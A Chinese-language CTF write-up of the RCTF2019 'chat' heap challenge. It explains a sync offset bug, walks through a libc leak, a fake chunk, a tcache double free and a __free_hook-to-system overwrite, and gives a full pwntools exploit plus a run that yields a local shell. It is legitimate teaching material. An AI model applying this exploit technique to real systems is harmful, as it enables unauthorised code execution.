RCTF2019 pwn chat writeup

TOC

  1. 1. 安全防护
  2. 2. 简介
  3. 3. 溢出点
    1. 3.1. sync
    2. 3.2. now和user_list
  4. 4. 思路
    1. 4.1. 泄露libc
    2. 4.2. fake_chunk
    3. 4.3. double free
    4. 4.4. 劫持hook
  5. 5. 完整代码
    1. 5.1. 运行实例
  6. 6. 总结

堆溢出类型,难点在于程序及其复杂的结构体,赛时靶机环境是glibc-2.27,下面所讲的symbols在IDA分析文件中均有对应。

源程序和相关文件下载:chat.zip

安全防护

ex@Ex:~/test$ checksec chat
[*] '/home/ex/test/chat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

简介

程序里面是一堆及其复杂的结构,我们不可能把每一个函数都进行仔细分析,只需要在关键点下断点就行了,比如sync函数,modify功能,在这些地址下断点,并观察其执行前的状态和执行后的状态,然后进行对比,这样能更快理解程序。

溢出点

sync

mmap_addr->message->message原本应该是字符串的,但在sync函数中却被当成偏移来使用,所以造成了该漏洞,这个比较容易发现,因为这个漏洞会直接造成程序crash。

message_list = (struc_message *)malloc(0x30uLL);
v11 = (struc_message *)((char *)mmap_addr + mmap_addr->message);
v5 = message_list;
v5->message = (__int64)strdup((const char *)mmap_addr + v11->message);// exploit

now和user_list

now是一开始就初始化好的,在程序中一直指向260chunk,但是在sync函数中,会进行一次更新操作,而且tcache是FIFO模式 ,也就意味着我们可以利用别的结构来控制now的260chunk。最好的理解方式就是画图。

调试结果如下所示,所以now的每一次被写入的结果都是可预测的。

Breakpoint sync
pwndbg> pr
user_list
$26 = (struct user *) 0x8ba260
$27 = {
user_num = 0,
room_num = 0,
name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>,
next = 0x0,
field_18 = 0x7f9910ee6044,
name = 0x8bb170 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$28 = (struct room *) 0x8ba6b0
$29 = {
room_num = 0,
name = 0x8bb100 'b' <repeats 88 times>,
field_10 = 0xa8,
next = 0x0
}
message_list
$30 = {
user_num = 0,
room_num = 0,
message = 0x8ba290 "P\207\316\020\231\177",
field_18 = 0x15e,
is_use = 0,
next = 0x0
}
pwndbg> stepret

pwndbg> pr
user_list
$31 = (struct user *) 0x8ba6b0
$32 = {
user_num = 0,
room_num = 0,
name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>,
next = 0x0,
field_18 = 0x7f9910ee6044,
name = 0x8ba260 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$33 = (struct room *) 0x8bb170
$34 = {
room_num = 0,
name = 0x8bb1a0 'b' <repeats 88 times>,
field_10 = 0xa8,
next = 0x0
}
message_list
$35 = {
user_num = 0,
room_num = 0,
message = 0x8ba290 "P\207\316\020\231\177",
field_18 = 0x15e,
is_use = 0,
next = 0x0
}

思路

  1. 泄露libc
  2. free假的chunk
  3. double free
  4. 劫持hook

泄露libc

因为mmap申请的内存每次和libc的偏移是固定的,可以利用sync的溢出点泄露libc地址。

sh.recvuntil("please enter your name: ")

name_addr = 0x603140

name_layout = [
0x61616161616161, 0x61616161616161, 0x61616161616161, 0x61616161616161,
0, 0x21, 0, 0,
0, 0x21, 0, 0,
0, 0x21, 0, 0,
]

sh.sendline(flat(name_layout))
sh.recvuntil("help\n==========================================\n")

sh.sendline('enter ' + 'b' * 0x58)
sh.recvuntil('==============================================================')
# offset = 0x41d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16
offset = 0x21d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16


# pause()
sh.sendline('say ' + p64(0x10000000000000000 - offset))
sh.recvuntil('==============================================================')
# pause()
sh.sendline('')
sh.recvuntil(': ')
result = sh.recvuntil('\n')[:-1]

# You should calculate the value by yourself
value_offset = 0x408750 + 0x202000
# value_offset = 0x408750
libc_addr = u64(result.ljust(8, '\0')) - value_offset
log.success("libc_addr: " + hex(libc_addr))

fake_chunk

sh.sendline('')

# pause()
sh.sendline('modify ' + 'd' * 8 + p64(0x10000000000000000 - offset) + 'd' * 0x10 + p64(name_addr + 0x40 + 0x10))
sh.recvuntil('==============================================================')

sh.sendline('modify ' + 'e' * 0x78)
sh.recvuntil('==============================================================')

这里用到了上面我们在name中构造的fake_chunk,原理是注入payload之后,在更新时,由于payload的chunk是0x30的size,刚好可以符合struct name的长度,所以可以通过同步,来控制260chunk的内容,也就是now的值。这样就可以直接free掉我们伪造的chunk。

调试结果如下:

Breakpoint sync
pwndbg> pr
user_list
$1 = (struct user *) 0x1c76260
$2 = {
user_num = 0,
room_num = 0,
name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>,
next = 0x0,
field_18 = 0x7f7d94006044,
name = 0x1c77170 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$3 = (struct room *) 0x1c766b0
$4 = {
room_num = 0,
name = 0x1c77100 'b' <repeats 88 times>,
field_10 = 0xa8,
next = 0x0
}
message_list
$5 = {
user_num = 0,
room_num = 0,
message = 0x1c76290 "P\207\340\223}\177",
field_18 = 0x15e,
is_use = 0,
next = 0x0
}
pwndbg> stepret

pwndbg> pr
user_list
$6 = (struct user *) 0x1c766b0
$7 = {
user_num = 0,
room_num = 0,
name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>,
next = 0x0,
field_18 = 0x7f7d94006044,
name = 0x1c76260 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$8 = (struct room *) 0x1c77170
$9 = {
room_num = 0,
name = 0x1c771a0 'b' <repeats 88 times>,
field_10 = 0xa8,
next = 0x0
}
message_list
$10 = {
user_num = 0,
room_num = 0,
message = 0x1c76290 "P\207\340\223}\177",
field_18 = 0x15e,
is_use = 0,
next = 0x0
}
pwndbg> prn
$11 = (struct current *) 0x1c76260
$12 = {
user_num = 1684300900,
room_num = 1684300900,
name_mmap_offset = 0xffffffffffbe3010 <error: Cannot access memory at address 0xffffffffffbe3010>,
room_mmap_offset = 0x6464646464646464,
field_18 = 0x6464646464646464,
user_name = 0x603190 ""
}
$13 = (struct message *) 0x7f7d9400615e
$14 = {
user_num = 0,
room_num = 0,
message = 0xffffffffffbe3010 <error: Cannot access memory at address 0xffffffffffbe3010>,
field_18 = 0x0,
is_use = 0,
next = 0x0
}
$15 = 0x7f7d93be9010 "P\207\340\223}\177"

可以看到,执行完sync函数后,user_list->name用的是260chunk,也就是意味这now可以被我们所控制,所以now->user_name已经是我们伪造的chunk的地址。

double free

这里同理,进行double free,那么就可以在tcache中写入__free_hook

# pause()
sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')

结果如下:

pwndbg> bin
tcachebins
0x20 [ 2]: 0x603190 —▸ 0x7f8ab8e7d8e8 (__free_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

劫持hook

消耗掉前面的0x603190,之后便可以拿出__free_hook,将__free_hook改为system从而拿到shell。

sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')

sh.send("say " + 'f' * 0x17)
sh.recvuntil('==============================================================')

# pause()
sh.send("say " + p64(libc_addr + libc.symbols['system']))
sh.recvuntil('==============================================================')

sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.sendline('')



sh.interactive()

完整代码

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
struct user
{
int user_num;
int room_num;
char * name_mmap_offset;
struct user *next;
void *field_18;
char *name;
};
struct user user_no_use;

struct current
{
int user_num;
int room_num;
char * name_mmap_offset;
struct user *room_mmap_offset;
void *field_18;
char *user_name;
};
struct current current_no_use;

struct room
{
long long room_num;
char *name;
void *field_10;
struct room *next;
};
struct room room_no_use;

struct message
{
long long user_num;
long long room_num;
char *message;
void *field_18;
long long is_use;
struct message *next;
};
struct message message_no_use;

struct mmap
{
long long user;
long long message;
long long room;
};
struct mmap mmap_no_use;
'''

f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './chat'
# sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $user_list=(struct user **)0x603258
set $room_list=(struct room **)0x603120
set $message_list=(struct message **)0x603250
set $mmap_addr=(struct mmap **)0x603110
set $now=(struct current **)0x603240

define print_recv
p *$temp
if $temp->next
set $temp=$temp->next
print_recv
end
end

define pru
set $temp=*$user_list
print_recv
end

define prn
set $temp=*$now
p $temp
p *$temp

set $temp=$mmap_addr
set $temp=(struct message *) ((char *)*$mmap_addr+(long long)($temp->message))
p $temp
p *$temp
p (char *)((char *)*$mmap_addr + (long long)($temp->message))
end

define prr
set $temp=*$room_list
print_recv
end

define prm
set $temp=*$message_list
print_recv
end

define pr
echo user_list\\n
p *$user_list
pru
echo room_list\\n
p *$room_list
prr
echo message_list\\n
prm
end

define prmmap
set $temp= (struct user *)((char *)*$mmap_addr + (*$mmap_addr)->user)
p *$temp
p (char *)((char *)*$mmap_addr + (long long)($temp->name_mmap_offset))

set $temp= (struct room *)((char *)*$mmap_addr + (*$mmap_addr)->room)
p *$temp
p (char *)((char *)*$mmap_addr + (long long)($temp->name))

set $temp= (struct message *)((char *)*$mmap_addr + (*$mmap_addr)->message)
p *$temp
p (char *)((char *)*$mmap_addr + (long long)($temp->message))
end

b sync
b *0x401FB3
'''

f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

sh.recvuntil("please enter your name: ")

name_addr = 0x603140

name_layout = [
0x61616161616161, 0x61616161616161, 0x61616161616161, 0x61616161616161,
0, 0x21, 0, 0,
0, 0x21, 0, 0,
0, 0x21, 0, 0,
]

sh.sendline(flat(name_layout))
sh.recvuntil("help\n==========================================\n")

sh.sendline('enter ' + 'b' * 0x58)
sh.recvuntil('==============================================================')
# offset = 0x41d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16
offset = 0x21d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16


# pause()
sh.sendline('say ' + p64(0x10000000000000000 - offset))
sh.recvuntil('==============================================================')
# pause()
sh.sendline('')
sh.recvuntil(': ')
result = sh.recvuntil('\n')[:-1]

# You should calculate the value by yourself
# value_offset = 0x408750 + 0x202000
value_offset = 0x408750
libc_addr = u64(result.ljust(8, '\0')) - value_offset
log.success("libc_addr: " + hex(libc_addr))

sh.sendline('')

# pause()
sh.sendline('modify ' + 'd' * 8 + p64(0x10000000000000000 - offset) + 'd' * 0x10 + p64(name_addr + 0x40 + 0x10))
sh.recvuntil('==============================================================')

sh.sendline('modify ' + 'e' * 0x78)
sh.recvuntil('==============================================================')


sh.sendline('')
sh.recvuntil('==============================================================')

sh.sendline('')
sh.recvuntil('==============================================================')


# pause()
sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')

sh.send("say " + 'f' * 0x17)
sh.recvuntil('==============================================================')

# pause()
sh.send("say " + p64(libc_addr + libc.symbols['system']))
sh.recvuntil('==============================================================')

sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.sendline('')


sh.interactive()

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './chat': pid 20694
[*] '/home/ex/test/chat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_addr: 0x7f4924803000
[*] Switching to interactive mode

sh: 1: Syntax error: EOF in backquote substitution
sh: 1: P\xb7�: not found
sh: 1: ffffffffffffffffffffff: not found
sh: 1: : not found
sh: 1: @$\x85\x7f: not found
sh: 1: : not found
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$

总结

对于这种复杂的程序想把其吃透是很难的,所以最好的方式就是仔细分析其关键路径,进而在当中挖掘漏洞。